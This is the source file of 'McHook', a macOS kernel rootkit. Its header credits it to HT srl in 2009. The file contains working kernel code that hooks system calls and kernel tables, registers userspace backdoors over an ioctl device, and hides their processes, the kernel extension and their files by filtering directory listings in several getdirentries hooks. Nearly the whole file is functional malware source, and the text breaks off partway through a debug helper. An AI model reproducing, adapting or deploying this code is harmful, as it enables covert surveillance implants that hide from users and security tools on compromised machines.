27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/mchook.c:
--------------------------------------------------------------------------------
1 | /*
2 | * McHook, mchook.c
3 | * OS X KSpace Rootkit
4 | *
5 | * [Features]
6 | * x sysent hooking for bsd syscalls
7 | * x mach_trap_table hooking for mach traps
8 | * x process hiding
9 | * x uspace->kspace proc hiding handler (kill)
10 | * x kext hiding
11 | * x filesystem hiding
12 | * x uspace->kspace communication channel (ioctl)
13 | * x Data structures keeping track of USpace Backdoor(s) pid
14 | * and Path(s)/Filename(s)
15 | *
16 | *
17 | * Created by revenge on 20/03/2009
18 | * Copyright (C) HT srl 2009. All rights reserved
19 | *
20 | */
21 |
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 |
32 | #include
33 | #include
34 | #include
35 |
36 | #include
37 |
38 | #include "mchook.h"
39 |
40 | #pragma mark -
41 | #pragma mark Global define(s)
42 | #pragma mark -
43 |
44 | #define MK_MBUF 1
45 | #define PLENGTH 6
46 |
47 | #define IM "appleHID"
48 | #define OSAX "appleOsax"
49 | #define KERNEL_BASE 0xffffff8000200000 // SL 10.6.4
50 |
51 | //#define DEBUG
52 |
53 | #pragma mark -
54 | #pragma mark Global variables
55 | #pragma mark -
56 |
57 | static reg_backdoors_t *g_reg_backdoors[MAX_BACKDOOR_ENTRIES];
58 | static exclusion_list_t g_exclusion_list[2] = {
59 | "launchd", 1,
60 | "launchctl", 1,
61 | };
62 |
63 | static int g_process_excluded = 2;
64 | static int g_kext_hidden = 0;
65 |
66 | // Holding current kmod entry pointer
67 | //static kmod_info_t *currentK;
68 |
69 | // Holding the uspace backdoor count
70 | static int g_registered_backdoors = 0;
71 |
72 | // BSD IOCTL stuff
73 | static int major = -1;
74 | static void *devfs_handle = 0;
75 |
76 | static int g_os_major = 0;
77 | static int g_os_minor = 0;
78 | static int g_os_bugfix = 0;
79 |
80 | static int g_symbols_resolved = 0;
81 |
82 | // Character device switch table
83 | static struct cdevsw chardev = {
84 | cdev_open, // open
85 | cdev_close, // close
86 | eno_rdwrt, // read
87 | eno_rdwrt, // write
88 | cdev_ioctl, // ioctl
89 | eno_stop, // stop
90 | eno_reset, // reset
91 | 0, // ttys
92 | eno_select, // select
93 | eno_mmap, // mmap
94 | eno_strat, // strategy
95 | eno_getc, // getc
96 | eno_putc, // putc
97 | 0 // type
98 | };
99 |
100 | #pragma mark -
101 | #pragma mark Main IOCTL Functions
102 | #pragma mark -
103 |
104 | static int cdev_open(dev_t dev, int flags, int devtype, struct proc *p) {
105 | return 0;
106 | }
107 |
108 | static int cdev_close(dev_t dev, int flags, int devtype, struct proc *p) {
109 | return 0;
110 | }
111 |
112 | static int cdev_ioctl(dev_t dev,
113 | u_long cmd,
114 | caddr_t data,
115 | int fflag,
116 | struct proc *p)
117 | {
118 | int error = 0;
119 | char username[MAX_USER_SIZE];
120 |
121 | switch (cmd) {
122 | case MCHOOK_INIT: {
123 | if (data) {
124 | strncpy(username, (char *)data, MAX_USER_SIZE);
125 | #ifdef DEBUG
126 | printf("[MCHOOK] Init for user %s with pid %d\n", username, p->p_pid);
127 | #endif
128 | if (backdoor_init(username, p) == FALSE) {
129 | #ifdef DEBUG
130 | printf("[MCHOOK] Error on init\n");
131 | #endif
132 | }
133 | }
134 | } break;
135 | case MCHOOK_HIDEK: {
136 | #ifdef DEBUG
137 | printf("[MCHOOK] MCHOOK_HIDEK called\n");
138 | #endif
139 |
140 | if (g_symbols_resolved == 1) {
141 | if (g_os_major == 10 && g_os_minor > 5) {
142 | hide_kext_osarray();
143 | //hide_kext_leopard();
144 | }
145 | else {
146 | #ifdef DEBUG
147 | printf("[MCHOOK] KEXT hiding not supported yet\n");
148 | #endif
149 | }
150 | }
151 | else {
152 | #ifdef DEBUG
153 | printf("[MCHOOK] Error, symbols not correctly resolved\n");
154 | #endif
155 | }
156 | } break;
157 | case MCHOOK_HIDEP: {
158 | #ifdef DEBUG
159 | printf("[MCHOOK] MCHOOK_HIDEP called\n");
160 | #endif
161 |
162 | if (data && g_symbols_resolved == 1) {
163 | strncpy(username, (char *)data, MAX_USER_SIZE);
164 | #ifdef DEBUG
165 | pid_t pid = p->p_pid;
166 | printf("[MCHOOK] Hiding PID: %d\n", pid);
167 | #endif
168 |
169 | int backdoor_index = 0;
170 |
171 | if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) {
172 | #ifdef DEBUG
173 | printf("[MCHOOK] ERR: get_active_bd_index returned -1 in HIDEP\n");
174 | #endif
175 | return error;
176 | }
177 |
178 | if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
179 | #ifdef DEBUG
180 | printf("[MCHOOK] ERR: Backdoor is already hidden\n");
181 | #endif
182 | return error;
183 | }
184 |
185 | if (hide_proc(p, username, backdoor_index) == -1) {
186 | #ifdef DEBUG
187 | printf("[MCHOOK] hide_proc failed\n");
188 | #endif
189 | }
190 | }
191 | } break;
192 | case MCHOOK_HIDED: {
193 | #ifdef DEBUG
194 | printf("[MCHOOK] MCHOOK_HIDED called\n");
195 | #endif
196 | if (data) {
197 | char dirName[MAX_DIRNAME_SIZE];
198 | strncpy(dirName, (char *)data, MAX_DIRNAME_SIZE);
199 | add_dir_to_hide(dirName, p->p_pid);
200 | }
201 | } break;
202 | case MCHOOK_UNREGISTER: {
203 | #ifdef DEBUG
204 | printf("[MCHOOK] MCHOOK_UNREGISTER called (%lu)\n", cmd);
205 | #endif
206 | if (data && g_symbols_resolved == 1) {
207 | strncpy(username, (char *)data, MAX_USER_SIZE);
208 |
209 | #ifdef DEBUG
210 | printf("[MCHOOK] Unregister for user: %s\n", username);
211 | printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors);
212 | #endif
213 |
214 | #if 0
215 | //
216 | // g_backdoor_current could get messed up (e.g. 2 backdoors on the same machine
217 | // one gets uninstalled, the other is still active but there's no way
218 | // for it to be referenced by g_backdoor_current, thus we call get_active_bd_index
219 | //
220 | if (g_backdoor_current == -1) {
221 | if ((g_backdoor_current = get_active_bd_index(p, username)) == -1) {
222 | #ifdef DEBUG
223 | printf("[MCHOOK] unregistering err - backdoor not registered?!!\n");
224 | #endif
225 | }
226 | }
227 |
228 | if (g_backdoor_current != -1
229 | && g_reg_backdoors[g_backdoor_current]->isProcHidden == 1) {
230 | #ifdef DEBUG
231 | printf("[MCHOOK] Re-linking process %d\n", p->p_pid);
232 | #endif
233 |
234 | unhide_proc(p);
235 | }
236 | #endif
237 |
238 | int backdoor_index;
239 | if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) {
240 | #ifdef DEBUG
241 | printf("[MCHOOK] ERR: get_active_bd_index returned -1 in UNREGISTER\n");
242 | #endif
243 |
244 | return error;
245 | }
246 |
247 | if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
248 | #ifdef DEBUG
249 | printf("[MCHOOK] Backdoor is hidden, unhiding\n");
250 | #endif
251 | unhide_proc(p, backdoor_index);
252 | }
253 |
254 | //g_backdoor_current = -1;
255 | dealloc_meh(username, p->p_pid);
256 |
257 | if (g_registered_backdoors == 0) {
258 | #ifdef DEBUG
259 | printf("[MCHOOK] No more backdoor left, unhooking\n");
260 | #endif
261 | remove_hooks();
262 | }
263 | }
264 | } break;
265 | case MCHOOK_GET_ACTIVES: {
266 | *data = g_registered_backdoors;
267 | } break;
268 | #if __LP64__ || NS_BUILD_32_LIKE_64
269 | case MCHOOK_SOLVE_SYM_64: {
270 | #ifdef DEBUG
271 | printf("[MCHOOK] MCHOOK_SOLVE_SYM_64\n");
272 | #endif
273 |
274 | symbol64_t *syms = (symbol64_t *)data;
275 |
276 | #ifdef DEBUG
277 | printf("[MCHOOK] hash : 0x%llx\n", syms->hash);
278 | printf("[MCHOOK] address : 0x%llx\n", syms->address);
279 | #endif
280 |
281 | if (g_symbols_resolved == 1)
282 | return error;
283 |
284 | switch (syms->hash) {
285 | case KMOD_HASH: {
286 | #ifdef DEBUG
287 | printf("[MCHOOK] kmod symbol received\n");
288 | #endif
289 | i_kmod = (kmod_info_t *)syms->address;
290 | } break;
291 | case NSYSENT_HASH: {
292 | #ifdef DEBUG
293 | printf("[MCHOOK] nsysent symbol received\n");
294 | #endif
295 | i_nsysent = (int *)syms->address;
296 | #ifdef DEBUG
297 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
298 | #endif
299 | } break;
300 | case TASKS_HASH: {
301 | #ifdef DEBUG
302 | printf("[MCHOOK] tasks symbol received\n");
303 | #endif
304 | i_tasks = (queue_head_t *)syms->address;
305 | } break;
306 | case ALLPROC_HASH: {
307 | #ifdef DEBUG
308 | printf("[MCHOOK] allproc symbol received\n");
309 | #endif
310 | i_allproc = (struct proclist *)syms->address;
311 | } break;
312 | case TASKS_COUNT_HASH: {
313 | #ifdef DEBUG
314 | printf("[MCHOOK] tasks_count symbol received\n");
315 | #endif
316 | i_tasks_count = (int *)syms->address;
317 | } break;
318 | case NPROCS_HASH: {
319 | #ifdef DEBUG
320 | printf("[MCHOOK] nprocs symbol received\n");
321 | #endif
322 | i_nprocs = (int *)syms->address;
323 | } break;
324 | case TASKS_THREADS_LOCK_HASH: {
325 | #ifdef DEBUG
326 | printf("[MCHOOK] tasks_threads_lock symbol received\n");
327 | #endif
328 | i_tasks_threads_lock = (lck_mtx_t *)syms->address;
329 | } break;
330 | case PROC_LOCK_HASH: {
331 | #ifdef DEBUG
332 | printf("[MCHOOK] proc_lock symbol received\n");
333 | #endif
334 | i_proc_lock = (void *)syms->address;
335 | } break;
336 | case PROC_UNLOCK_HASH: {
337 | #ifdef DEBUG
338 | printf("[MCHOOK] proc_unlock symbol received\n");
339 | #endif
340 | i_proc_unlock = (void *)syms->address;
341 | } break;
342 | case PROC_LIST_LOCK_HASH: {
343 | #ifdef DEBUG
344 | printf("[MCHOOK] proc_list_lock symbol received\n");
345 | #endif
346 | i_proc_list_lock = (void *)syms->address;
347 | } break;
348 | case PROC_LIST_UNLOCK_HASH: {
349 | #ifdef DEBUG
350 | printf("[MCHOOK] proc_list_unlock symbol received\n");
351 | #endif
352 | i_proc_list_unlock = (void *)syms->address;
353 | } break;
354 |
355 | case KEXT_LOOKUP_WITH_TAG: {
356 | #ifdef DEBUG
357 | printf("[MCHOOK] kext_lookup_with_tag symbol received\n");
358 | #endif
359 | kext_lookup_with_tag = (int *)syms->address;
360 | } break;
361 | case IO_RECURSIVE_LOCK: {
362 | #ifdef DEBUG
363 | printf("[MCHOOK] io_recursive_log symbol received\n");
364 | #endif
365 | io_recursive_log = (int *)syms->address;
366 | } break;
367 | default: {
368 | #ifdef DEBUG
369 | printf("[MCHOOK] symbol not supported yet\n");
370 | #endif
371 | } break;
372 | }
373 | } break;
374 | #else
375 | case MCHOOK_SOLVE_SYM_32: {
376 | #ifdef DEBUG
377 | printf("[MCHOOK] MCHOOK_SOLVE_SYM_32\n");
378 | #endif
379 |
380 | symbol32_t *syms = (symbol32_t *)data;
381 |
382 | #ifdef DEBUG
383 | printf("[MCHOOK] hash : 0x%x\n", syms->hash);
384 | printf("[MCHOOK] address : 0x%x\n", syms->address);
385 | #endif
386 | if (g_symbols_resolved == 1)
387 | return error;
388 |
389 | switch (syms->hash) {
390 | case KMOD_HASH: {
391 | #ifdef DEBUG
392 | printf("[MCHOOK] kmod symbol received\n");
393 | #endif
394 | i_kmod = (kmod_info_t *)syms->address;
395 | } break;
396 | case NSYSENT_HASH: {
397 | #ifdef DEBUG
398 | printf("[MCHOOK] nsysent symbol received\n");
399 | #endif
400 | i_nsysent = (int *)syms->address;
401 | #ifdef DEBUG
402 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
403 | #endif
404 | } break;
405 | case TASKS_HASH: {
406 | #ifdef DEBUG
407 | printf("[MCHOOK] tasks symbol received\n");
408 | #endif
409 | i_tasks = (queue_head_t *)syms->address;
410 | } break;
411 | case ALLPROC_HASH: {
412 | #ifdef DEBUG
413 | printf("[MCHOOK] allproc symbol received\n");
414 | #endif
415 | i_allproc = (struct proclist *)syms->address;
416 | } break;
417 | case TASKS_COUNT_HASH: {
418 | #ifdef DEBUG
419 | printf("[MCHOOK] tasks_count symbol received\n");
420 | #endif
421 | i_tasks_count = (int *)syms->address;
422 | } break;
423 | case NPROCS_HASH: {
424 | #ifdef DEBUG
425 | printf("[MCHOOK] nprocs symbol received\n");
426 | #endif
427 | i_nprocs = (int *)syms->address;
428 | } break;
429 | case TASKS_THREADS_LOCK_HASH: {
430 | #ifdef DEBUG
431 | printf("[MCHOOK] tasks_threads_lock symbol received\n");
432 | #endif
433 | i_tasks_threads_lock = (lck_mtx_t *)syms->address;
434 | } break;
435 | case PROC_LOCK_HASH: {
436 | #ifdef DEBUG
437 | printf("[MCHOOK] proc_lock symbol received\n");
438 | #endif
439 | i_proc_lock = (void *)syms->address;
440 | } break;
441 | case PROC_UNLOCK_HASH: {
442 | #ifdef DEBUG
443 | printf("[MCHOOK] proc_unlock symbol received\n");
444 | #endif
445 | i_proc_unlock = (void *)syms->address;
446 | } break;
447 | case PROC_LIST_LOCK_HASH: {
448 | #ifdef DEBUG
449 | printf("[MCHOOK] proc_list_lock symbol received\n");
450 | #endif
451 | i_proc_list_lock = (void *)syms->address;
452 | } break;
453 | case PROC_LIST_UNLOCK_HASH: {
454 | #ifdef DEBUG
455 | printf("[MCHOOK] proc_list_unlock symbol received\n");
456 | #endif
457 | i_proc_list_unlock = (void *)syms->address;
458 | } break;
459 | case KEXT_LOOKUP_WITH_TAG: {
460 | #ifdef DEBUG
461 | printf("[MCHOOK] kext_lookup_with_tag symbol received\n");
462 | #endif
463 | kext_lookup_with_tag = (int *)syms->address;
464 | } break;
465 | case IO_RECURSIVE_LOCK: {
466 | #ifdef DEBUG
467 | printf("[MCHOOK] io_recursive_log symbol received\n");
468 | #endif
469 | io_recursive_log = (int *)syms->address;
470 | } break;
471 | default: {
472 | #ifdef DEBUG
473 | printf("[MCHOOK] symbol not supported yet\n");
474 | #endif
475 | } break;
476 | }
477 | } break;
478 | #endif
479 | case MCHOOK_FIND_SYS: {
480 | #ifdef DEBUG
481 | printf("[MCHOOK] MCHOOK_FIND_SYS called\n");
482 | #endif
483 |
484 | if (data && check_symbols_integrity() == 1) {
485 | #ifdef DEBUG
486 | printf("[MCHOOK] symbols resolved\n");
487 | #endif
488 | os_version_t *os_ver = (os_version_t *)data;
489 | g_os_major = os_ver->major;
490 | g_os_minor = os_ver->minor;
491 | g_os_bugfix = os_ver->bugfix;
492 |
493 | // Find sysent table
494 | _sysent = find_sysent(os_ver);
495 | if (_sysent == NULL) {
496 | #ifdef DEBUG
497 | printf("[MCHOOK] sysent not found\n");
498 | #endif
499 | }
500 | else {
501 | #ifdef DEBUG
502 | printf("[MCHOOK] All symbols were resolved and sysent found\n");
503 | #endif
504 | place_hooks();
505 | }
506 | }
507 | else {
508 | #ifdef DEBUG
509 | printf("[MCHOOK] No data or symbols not resolved (%d)\n", g_symbols_resolved);
510 | #endif
511 | }
512 | } break;
513 | default: {
514 | #ifdef DEBUG
515 | printf("[MCHOOK] Unknown command called dudeeeee: %lu\n", cmd);
516 | #endif
517 | error = EINVAL;
518 | } break;
519 | }
520 |
521 | return error;
522 | }
523 |
524 | #pragma mark -
525 | #pragma mark Hooks
526 | #pragma mark -
527 |
528 | int hook_getdirentries(struct proc *p,
529 | struct mk_getdirentries_args *uap,
530 | int *retval)
531 | {
532 | struct dirent *tmp, *current;
533 | long size, count, length = 0;
534 | int flag = 0;
535 | int i_entry, i_path;
536 |
537 | real_getdirentries(p, uap, retval);
538 | size = retval[0];
539 |
540 | if (size > 0
541 | && check_for_process_exclusions(p->p_pid) == -1) {
542 | MALLOC(tmp, struct dirent *, size, MK_MBUF, M_WAITOK);
543 | copyin(uap->buf, tmp, size);
544 |
545 | count = size;
546 | current = (struct dirent *)(char *)tmp;
547 |
548 | while (count > 0) {
549 | length = current->d_reclen;
550 | count -= length;
551 |
552 | for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) {
553 | //
554 | // Enforce checks in order to avoid situation where all the files are hidden
555 | // from the disk since the g_reg_backdoors structure is inconsistent
556 | //
557 | if (g_reg_backdoors[i_entry]->is_active == 1) {
558 | for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) {
559 | if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "",
560 | strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0)
561 | continue;
562 |
563 | if (strncmp((char *)&(current->d_name),
564 | g_reg_backdoors[i_entry]->path[i_path],
565 | strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) {
566 | if (count != 0) {
567 | // Remove the entry from buf
568 | memmove((char *)current, (char *)current + length, count);
569 | flag = 1;
570 | }
571 | // Adjust the size since we removed an entry
572 | size -= length;
573 | break;
574 | }
575 | }
576 | }
577 |
578 | if (flag)
579 | break;
580 | }
581 | #if 0
582 | if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) {
583 | if (count != 0) {
584 | // Remove the entry from buf
585 | bcopy((char *)current + length, (char *)current, count - length);
586 | flag = 1;
587 | }
588 | // Adjust the size since we removed an entry
589 | size -= length;
590 | }
591 | #endif
592 | // Last dir always has length of 0
593 | if (current->d_reclen == 0)
594 | count = 0;
595 | // Point to the next struct entry if we didn't remove anything
596 | if (count != 0 && flag == 0)
597 | current = (struct dirent *)((char *)current + length);
598 | flag = 0;
599 | }
600 |
601 | // Update the return size
602 | *retval = size;
603 | // Copy back to uspace the modified buffer
604 | copyout(tmp, uap->buf, size);
605 | FREE(tmp, MK_MBUF);
606 | }
607 |
608 | return(0);
609 | }
610 |
611 | int hook_getdirentries64(struct proc *p,
612 | struct mk_getdirentries64_args *uap,
613 | int *retval)
614 | {
615 | void *tmp;
616 | struct direntry *current;
617 | long size, count, length = 0;
618 | int flag = 0;
619 | int i_entry, i_path;
620 |
621 | real_getdirentries64(p, uap, retval);
622 | size = retval[0];
623 |
624 | if (size > 0
625 | && check_for_process_exclusions(p->p_pid) == -1) {
626 | MALLOC(tmp, struct direntry *, size, MK_MBUF, M_WAITOK);
627 | copyin(uap->buf, tmp, size);
628 |
629 | count = size;
630 | current = (struct direntry *)(char *)tmp;
631 |
632 | while (count > 0) {
633 | length = current->d_reclen;
634 | count -= length;
635 |
636 | for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) {
637 | //
638 | // Enforce checks in order to avoid situation where all the files are hidden
639 | // from the disk since the g_reg_backdoors structure is inconsistent
640 | //
641 | if (g_reg_backdoors[i_entry]->is_active == 1) {
642 | for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) {
643 | if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "",
644 | strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0)
645 | continue;
646 |
647 | if (strncmp((char *)&(current->d_name),
648 | g_reg_backdoors[i_entry]->path[i_path],
649 | strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) {
650 | if (count != 0) {
651 | // Remove the entry from buf
652 | memmove((char *)current, (char *)current + length, count);
653 | flag = 1;
654 | }
655 | // Adjust the size since we removed an entry
656 | size -= length;
657 | break;
658 | }
659 | }
660 | }
661 |
662 | if (flag)
663 | break;
664 | }
665 | #if 0
666 | if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) {
667 | if (count != 0) {
668 | // Remove the entry from buf
669 | bcopy((char *)current + length, (char *)current, count - length);
670 | flag = 1;
671 | }
672 | // Adjust the size since we removed an entry
673 | size -= length;
674 | }
675 | #endif
676 | // Last entry always has length of 0
677 | if (current->d_reclen == 0)
678 | count = 0;
679 | // Point to the next struct entry
680 | if (count != 0 && flag == 0)
681 | current = (struct direntry *)((char *)current + length);
682 | flag = 0;
683 | }
684 |
685 | // Update the return size
686 | *retval = size;
687 | // Copy back to uspace the modified buffer
688 | copyout(tmp, uap->buf, size);
689 | FREE(tmp, MK_MBUF);
690 | }
691 |
692 | return(0);
693 | }
694 |
695 | int hook_getdirentriesattr(struct proc *p,
696 | struct mk_getdirentriesattr_args *uap,
697 | int *retval)
698 | {
699 | char procname[20];
700 | char *curr_entry = NULL;
701 |
702 | attr_list_t al;
703 | int success = 0;
704 | int flag = 0;
705 | int curr_backdoor, curr_path;
706 | int index = 0;
707 |
708 | u_int32_t count = 0;
709 | u_int32_t entry_size = 0;
710 |
711 | /*attribute_buffer_t *buf, *this_entry;*/
712 | FInfoAttrBuf *this_entry;
713 | char *buf;
714 |
715 | success = real_getdirentriesattr(p, uap, retval);
716 | proc_name(p->p_pid, procname, sizeof(procname));
717 |
718 | #ifdef DEBUG_VERBOSE
719 | printf("p_start sec: %d for %s\n", (int)p->p_start.tv_sec, procname);
720 | #endif
721 |
722 | if (check_for_process_exclusions(p->p_pid) == -1) {
723 | #ifdef DEBUG_VERBOSE
724 | printf("getdirentriesattr called by %s\n", procname);
725 | printf("ATTRLIST - %s commonattr %08x | volattr %08x | fileattr %08x | dirattr %08x | forkattr %08x | %sfollow\n",
726 | p->p_comm, al.commonattr, al.volattr, al.fileattr, al.dirattr, al.forkattr,
727 | (uap->options & FSOPT_NOFOLLOW) ? "no" : "");
728 | getAttributesForBitFields(al);
729 | #endif
730 |
731 | copyin(uap->alist, (caddr_t)&al, sizeof(al));
732 | copyin(uap->count, (caddr_t)&count, sizeof(count));
733 |
734 | #ifdef DEBUG_VERBOSE
735 | printf("bufferSize: %d\n", (int)uap->buffersize);
736 | #endif
737 |
738 | /*MALLOC(buf, attribute_buffer_t *, uap->buffersize, MK_MBUF, M_WAITOK);*/
739 | MALLOC(buf, char *, uap->buffersize, MK_MBUF, M_WAITOK);
740 | copyin(uap->buffer, (caddr_t)buf, uap->buffersize);
741 |
742 | /*this_entry = (attribute_buffer_t *)(char *)buf;*/
743 | this_entry = (FInfoAttrBuf *)buf;
744 |
745 | int _tmp_size = uap->buffersize;
746 | index = count;
747 |
748 | #ifdef DEBUG_VERBOSE
749 | printf("[MCHOOK] _tmp_size start : %d\n", _tmp_size);
750 | printf("[MCHOOK] index start : %d\n", index);
751 | #endif
752 |
753 | while (_tmp_size > 0 && index > 0) {
754 | entry_size = this_entry->length;
755 | curr_entry = (char *)&this_entry->name;
756 | curr_entry += this_entry->name.attr_dataoffset;
757 |
758 | #ifdef DEBUG_VERBOSE
759 | printf("[MCHOOK] curr_entry st : %llx\n", (unsigned long long)curr_entry);
760 | printf("[MCHOOK] data offset st : %x\n", this_entry->name.attr_dataoffset);
761 | printf("[MCHOOK] _tmp_size st : %x\n", _tmp_size);
762 | printf("[MCHOOK] index st : %d\n", index);
763 | #endif
764 |
765 | if (this_entry->name.attr_dataoffset > 0) {
766 | for (curr_backdoor = 0; curr_backdoor < g_registered_backdoors; curr_backdoor++) {
767 | //
768 | // Enforce checks in order to avoid situation where all the files are hidden
769 | // from the disk since the g_reg_backdoors structure is inconsistent
770 | //
771 | if (g_reg_backdoors[curr_backdoor]->is_active == 1) {
772 | for (curr_path = 0;
773 | curr_path < g_reg_backdoors[curr_backdoor]->path_counter;
774 | curr_path++) {
775 | #ifdef DEBUG_VERBOSE
776 | printf("[MCHOOK] curr_entry f : %llx\n", (unsigned long long)curr_entry);
777 | printf("[MCHOOK] g_curr_entry f: %s\n", g_reg_backdoors[curr_backdoor]->path[curr_path]);
778 | #endif
779 | if (strncmp(g_reg_backdoors[curr_backdoor]->path[curr_path],
780 | "",
781 | strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0)
782 | continue;
783 |
784 | if (strncmp(curr_entry,
785 | g_reg_backdoors[curr_backdoor]->path[curr_path],
786 | strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0) {
787 | if ((strncmp(curr_entry, IM, strlen(IM)) == 0)
788 | || (strncmp(curr_entry, OSAX, strlen(OSAX)) == 0)) {
789 | if (p->p_start.tv_sec == 0) {
790 | #ifdef DEBUG
791 | printf("Entry matched for %s (first time) - skipping\n", curr_entry);
792 | #endif
793 | p->p_start.tv_sec = 1;
794 | continue;
795 | }
796 | }
797 | #ifdef DEBUG_VERBOSE
798 | printf("%s REQUESTED %s\n", procname, curr_entry);
799 | #endif
800 |
801 | // Remove the entry from buf
802 | memmove((char *)this_entry,
803 | (char *)((NSUInteger)this_entry + entry_size),
804 | _tmp_size);
805 | flag = 1;
806 |
807 | // Adjust the counter since we removed an entry
808 | count--;
809 |
810 | break;
811 | }
812 | }
813 | }
814 |
815 | if (flag)
816 | break;
817 | }
818 | }
819 | else {
820 | #ifdef DEBUG_VERBOSE
821 | printf("[MCHOOK] dataoffset is 0\n");
822 | #endif
823 | }
824 |
825 | _tmp_size -= entry_size;
826 | index -= 1;
827 |
828 | // Advance to the next entry
829 | /*if (_tmp_size != 0 && flag == 0)*/
830 | /*this_entry = (attribute_buffer_t *)((NSUInteger)this_entry + entry_size);*/
831 | if (_tmp_size > 0 && flag == 0) {
832 | char *z = ((char *)this_entry) + entry_size;
833 | this_entry = (FInfoAttrBuf *)z;
834 | }
835 | }
836 |
837 | // Back to uspace
838 | copyout((caddr_t)buf, uap->buffer, uap->buffersize);
839 | copyout(&count, uap->count, sizeof(count));
840 |
841 | FREE(buf, MK_MBUF);
842 | }
843 | else {
844 | #ifdef DEBUG
845 | printf("Process excluded from hiding: %s\n", procname);
846 | #endif
847 | }
848 |
849 | return success;
850 | }
851 |
852 | #pragma mark -
853 | #pragma mark General purpose functions
854 | #pragma mark -
855 |
856 | #ifdef DEBUG
857 | void getAttributesForBitFields(attr_list_t al)
858 | {
859 | // commonattr checks
860 | if (al.commonattr & ATTR_CMN_NAME)
861 | printf("ATTR_CMN_NAME\n");
862 | if (al.commonattr & ATTR_CMN_DEVID)
863 | printf("ATTR_CMN_DEVID\n");
864 | if (al.commonattr & ATTR_CMN_FSID)
865 | printf("ATTR_CMN_FSID\n");
866 | if (al.commonattr & ATTR_CMN_OBJTYPE)
867 | printf("ATTR_CMN_OBJTYPE\n");
868 | if (al.commonattr & ATTR_CMN_OBJTAG)
869 | printf("ATTR_CMN_OBJTAG\n");
870 | if (al.commonattr & ATTR_CMN_OBJID)
871 | printf("ATTR_CMN_OBJID\n");
872 | if (al.commonattr & ATTR_CMN_OBJPERMANENTID)
873 | printf("ATTR_CMN_OBJPERMANENTID\n");
874 | if (al.commonattr & ATTR_CMN_PAROBJID)
875 | printf("ATTR_CMN_PAROBJID\n");
876 | if (al.commonattr & ATTR_CMN_SCRIPT)
877 | printf("ATTR_CMN_SCRIPT\n");
878 | if (al.commonattr & ATTR_CMN_CRTIME)
879 | printf("ATTR_CMN_CRTIME\n");
880 | if (al.commonattr & ATTR_CMN_MODTIME)
881 | printf("ATTR_CMN_MODTIME\n");
882 | if (al.commonattr & ATTR_CMN_CHGTIME)
883 | printf("ATTR_CMN_CHGTIME\n");
884 | if (al.commonattr & ATTR_CMN_ACCTIME)
885 | printf("ATTR_CMN_ACCTIME\n");
886 | if (al.commonattr & ATTR_CMN_BKUPTIME)
887 | printf("ATTR_CMN_BKUPTIME\n");
888 | if (al.commonattr & ATTR_CMN_FNDRINFO)
889 | printf("ATTR_CMN_FNDRINFO\n");
890 | if (al.commonattr & ATTR_CMN_OWNERID)
891 | printf("ATTR_CMN_OWNERID\n");
892 | if (al.commonattr & ATTR_CMN_GRPID)
893 | printf("ATTR_CMN_GRPID\n");
894 | if (al.commonattr & ATTR_CMN_ACCESSMASK)
895 | printf("ATTR_CMN_ACCESSMASK\n");
896 | if (al.commonattr & ATTR_CMN_FLAGS)
897 | printf("ATTR_CMN_FLAGS\n");
898 | if (al.commonattr & ATTR_CMN_USERACCESS)
899 | printf("ATTR_CMN_USERACCESS\n");
900 | if (al.commonattr & ATTR_CMN_EXTENDED_SECURITY)
901 | printf("ATTR_CMN_EXTENDED_SECURITY\n");
902 | if (al.commonattr & ATTR_CMN_UUID)
903 | printf("ATTR_CMN_UUID\n");
904 | if (al.commonattr & ATTR_CMN_GRPUUID)
905 | printf("ATTR_CMN_GRPUUID\n");
906 | if (al.commonattr & ATTR_CMN_FILEID)
907 | printf("ATTR_CMN_FILEID\n");
908 | if (al.commonattr & ATTR_CMN_PARENTID)
909 | printf("ATTR_CMN_PARENTID\n");
910 | if (al.commonattr & ATTR_CMN_VALIDMASK)
911 | printf("ATTR_CMN_VALIDMASK\n");
912 | if (al.commonattr & ATTR_CMN_SETMASK)
913 | printf("ATTR_CMN_SETMASK\n");
914 | if (al.commonattr & ATTR_CMN_VOLSETMASK)
915 | printf("ATTR_CMN_VOLSETMASK\n");
916 |
917 | // volattr checks
918 | if (al.volattr & ATTR_VOL_FSTYPE)
919 | printf("ATTR_VOL_FSTYPE\n");
920 | if (al.volattr & ATTR_VOL_SIGNATURE)
921 | printf("ATTR_VOL_SIGNATURE\n");
922 | if (al.volattr & ATTR_VOL_SIZE)
923 | printf("ATTR_VOL_SIZE\n");
924 | if (al.volattr & ATTR_VOL_SPACEFREE)
925 | printf("ATTR_VOL_SPACEFREE\n");
926 | if (al.volattr & ATTR_VOL_SPACEAVAIL)
927 | printf("ATTR_VOL_SPACEAVAIL\n");
928 | if (al.volattr & ATTR_VOL_MINALLOCATION)
929 | printf("ATTR_VOL_MINALLOCATION\n");
930 | if (al.volattr & ATTR_VOL_ALLOCATIONCLUMP)
931 | printf("ATTR_VOL_ALLOCATIONCLUMP\n");
932 | if (al.volattr & ATTR_VOL_IOBLOCKSIZE)
933 | printf("ATTR_VOL_IOBLOCKSIZE\n");
934 | if (al.volattr & ATTR_VOL_OBJCOUNT)
935 | printf("ATTR_VOL_OBJCOUNT\n");
936 | if (al.volattr & ATTR_VOL_FILECOUNT)
937 | printf("ATTR_VOL_FILECOUNT\n");
